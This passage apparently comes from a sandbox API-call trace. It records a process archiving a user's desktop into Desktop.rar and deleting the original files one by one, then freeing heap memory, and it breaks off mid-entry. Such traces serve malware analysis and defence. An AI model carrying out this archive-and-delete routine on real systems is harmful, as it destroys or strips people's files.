[0076.614] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0076.614] GetTickCount () returned 0x28fe2 [0076.614] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16794274615) returned 1 [0076.614] GetTickCount () returned 0x28fe2 [0076.614] GetTickCount () returned 0x28fe2 [0076.614] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0076.614] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0076.614] GetFocus () returned 0x2027a [0076.614] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0076.614] DeleteFileW (lpFileName="4WmeXcoy8E.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\4wmexcoy8e.gif")) returned 1 [0076.615] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0076.615] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.615] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.615] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0076.616] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.616] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.616] SetWindowTextW (hWnd=0x1028c, lpString="4WmeXcoy8E.gif") returned 1 [0076.616] GetTickCount () returned 0x28fe2 [0076.616] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.616] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0076.616] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0076.617] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.617] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="4WmeXcoy8E.gif") returned 14 [0076.617] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0076.617] GetTickCount () returned 0x28fe2 [0076.617] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16794576139) returned 1 [0076.617] GetTickCount () returned 0x28fe2 [0076.617] GetTickCount () returned 0x28fe2 [0076.617] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0076.617] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0076.617] GetFocus () returned 0x2027a [0076.617] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0076.618] DeleteFileW (lpFileName="3 58nW.pps" (normalized: "c:\\users\\fd1hvy\\desktop\\3 58nw.pps")) returned 1 [0076.619] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0076.620] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.620] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.620] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0076.622] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.622] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.622] SetWindowTextW (hWnd=0x1028c, lpString="3 58nW.pps") returned 1 [0076.623] GetTickCount () returned 0x28ff1 [0076.623] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.623] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0076.623] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0076.623] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.623] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="3 58nW.pps") returned 10 [0076.623] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0076.623] GetTickCount () returned 0x28ff1 [0076.623] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16795210479) returned 1 [0076.624] GetTickCount () returned 0x28ff1 [0076.624] GetTickCount () returned 0x28ff1 [0076.624] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0076.624] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0076.624] GetFocus () returned 0x2027a [0076.624] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0076.624] DeleteFileW (lpFileName="1GbClcrwPdCacbM-.png" (normalized: "c:\\users\\fd1hvy\\desktop\\1gbclcrwpdcacbm-.png")) returned 1 [0076.738] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0076.738] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.738] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.738] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0076.739] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.739] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.739] SetWindowTextW (hWnd=0x1028c, lpString="1GbClcrwPdCacbM-.png") returned 1 [0076.739] GetTickCount () returned 0x2905f [0076.739] UpdateWindow (hWnd=0x10284) returned 1 [0076.740] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.740] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0076.740] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0076.741] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.741] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="1GbClcrwPdCacbM-.png") returned 20 [0076.741] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0076.741] GetTickCount () returned 0x2905f [0076.741] GetLastError () returned 0x0 [0076.741] SetLastError (dwErrCode=0x0) [0076.741] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0076.741] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0076.741] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 85%") returned 5 [0076.741] SetWindowTextW (hWnd=0x1028e, lpString=" 93%") returned 1 [0076.742] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x5d, lParam=0x0) returned 0x55 [0076.742] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16807043351) returned 1 [0076.742] GetTickCount () returned 0x2905f [0076.742] GetTickCount () returned 0x2905f [0076.742] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0076.742] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0076.742] GetFocus () returned 0x2027a [0076.742] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0076.743] DeleteFileW (lpFileName="0RRIlXg9.xls" (normalized: "c:\\users\\fd1hvy\\desktop\\0rrilxg9.xls")) returned 1 [0076.783] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0076.783] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.784] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.784] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0076.784] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.784] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.784] SetWindowTextW (hWnd=0x1028c, lpString="0RRIlXg9.xls") returned 1 [0076.785] GetTickCount () returned 0x2908e [0076.785] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.785] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0076.785] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0076.785] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.785] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="0RRIlXg9.xls") returned 12 [0076.785] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0076.786] GetTickCount () returned 0x2908e [0076.786] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16811446690) returned 1 [0076.786] GetTickCount () returned 0x2908e [0076.786] GetTickCount () returned 0x2908e [0076.786] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0076.786] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0076.786] GetFocus () returned 0x2027a [0076.786] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0076.786] DeleteFileW (lpFileName="0KL2Gz9JGd.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\0kl2gz9jgd.wav")) returned 1 [0076.788] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0076.788] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.788] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.788] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0076.788] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.788] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.788] SetWindowTextW (hWnd=0x1028c, lpString="0KL2Gz9JGd.wav") returned 1 [0076.789] GetTickCount () returned 0x2908e [0076.789] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.789] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0076.789] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0076.789] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.789] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="0KL2Gz9JGd.wav") returned 14 [0076.789] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0076.791] GetTickCount () returned 0x2908e [0076.791] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16811929965) returned 1 [0076.791] GetTickCount () returned 0x2908e [0076.791] GetTickCount () returned 0x2908e [0076.791] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0076.791] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0076.791] GetFocus () returned 0x2027a [0076.791] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0076.792] PeekMessageW (in: lpMsg=0xe414dd670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd670) returned 1 [0076.792] GetMessageW (in: lpMsg=0xe414dd600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd600) returned 1 [0076.792] GetFocus () returned 0x2027a [0076.792] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd600) returned 1 [0076.792] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0076.792] DeleteFileW (lpFileName="-mQiD8fm.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\-mqid8fm.doc")) returned 1 [0076.844] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0076.844] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.844] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.844] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0076.845] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.845] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.845] SetWindowTextW (hWnd=0x1028c, lpString="-mQiD8fm.doc") returned 1 [0076.845] GetTickCount () returned 0x290cc [0076.845] UpdateWindow (hWnd=0x10284) returned 1 [0076.846] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.846] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0076.846] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0076.846] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.846] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="-mQiD8fm.doc") returned 12 [0076.846] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0076.847] GetTickCount () returned 0x290cc [0076.847] GetLastError () returned 0x0 [0076.847] SetLastError (dwErrCode=0x0) [0076.847] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0076.847] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0076.847] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 93%") returned 5 [0076.847] SetWindowTextW (hWnd=0x1028e, lpString=" 100%") returned 1 [0076.847] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x5d [0076.847] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16817591936) returned 1 [0076.847] GetTickCount () returned 0x290cc [0076.847] GetTickCount () returned 0x290cc [0076.847] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0076.847] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0076.847] GetFocus () returned 0x2027a [0076.848] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0076.848] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c4640 | out: hHeap=0x1ec0a590000) returned 1 [0076.848] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef820 | out: hHeap=0x1ec0a590000) returned 1 [0076.848] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c50c0 | out: hHeap=0x1ec0a590000) returned 1 [0076.848] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef760 | out: hHeap=0x1ec0a590000) returned 1 [0076.848] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c4480 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef7c0 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c48e0 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefc70 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c4b80 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefd00 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c4720 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef9a0 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c49c0 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef7f0 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c4560 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef730 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c46b0 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefb20 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c4950 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef850 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c4e20 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefbe0 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c45d0 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef6a0 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c4a30 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefb50 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c4c60 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef6d0 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c4cd0 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa60 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c4e90 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefca0 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c0520 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefcd0 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6598f0 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefd90 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddfde50 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefd30 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddfdec0 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef700 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddfd910 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefd60 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddfd980 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef610 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a659ff0 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef640 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddfe470 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefac0 | out: hHeap=0x1ec0a590000) returned 1 [0076.849] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a659770 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef9d0 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddfdb40 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefaf0 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddfd9f0 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef670 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6593f0 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefbb0 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddfd830 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef880 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddfdad0 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef8b0 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddfdfa0 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefb80 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddfda60 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa30 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddfe4e0 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef910 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a65a170 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef940 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a659670 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa90 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddfdbb0 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef970 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a65a270 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa00 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6596f0 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde29a0 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddfdc20 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2820 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a659470 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2970 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddfe550 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2a00 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6597f0 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde28e0 | 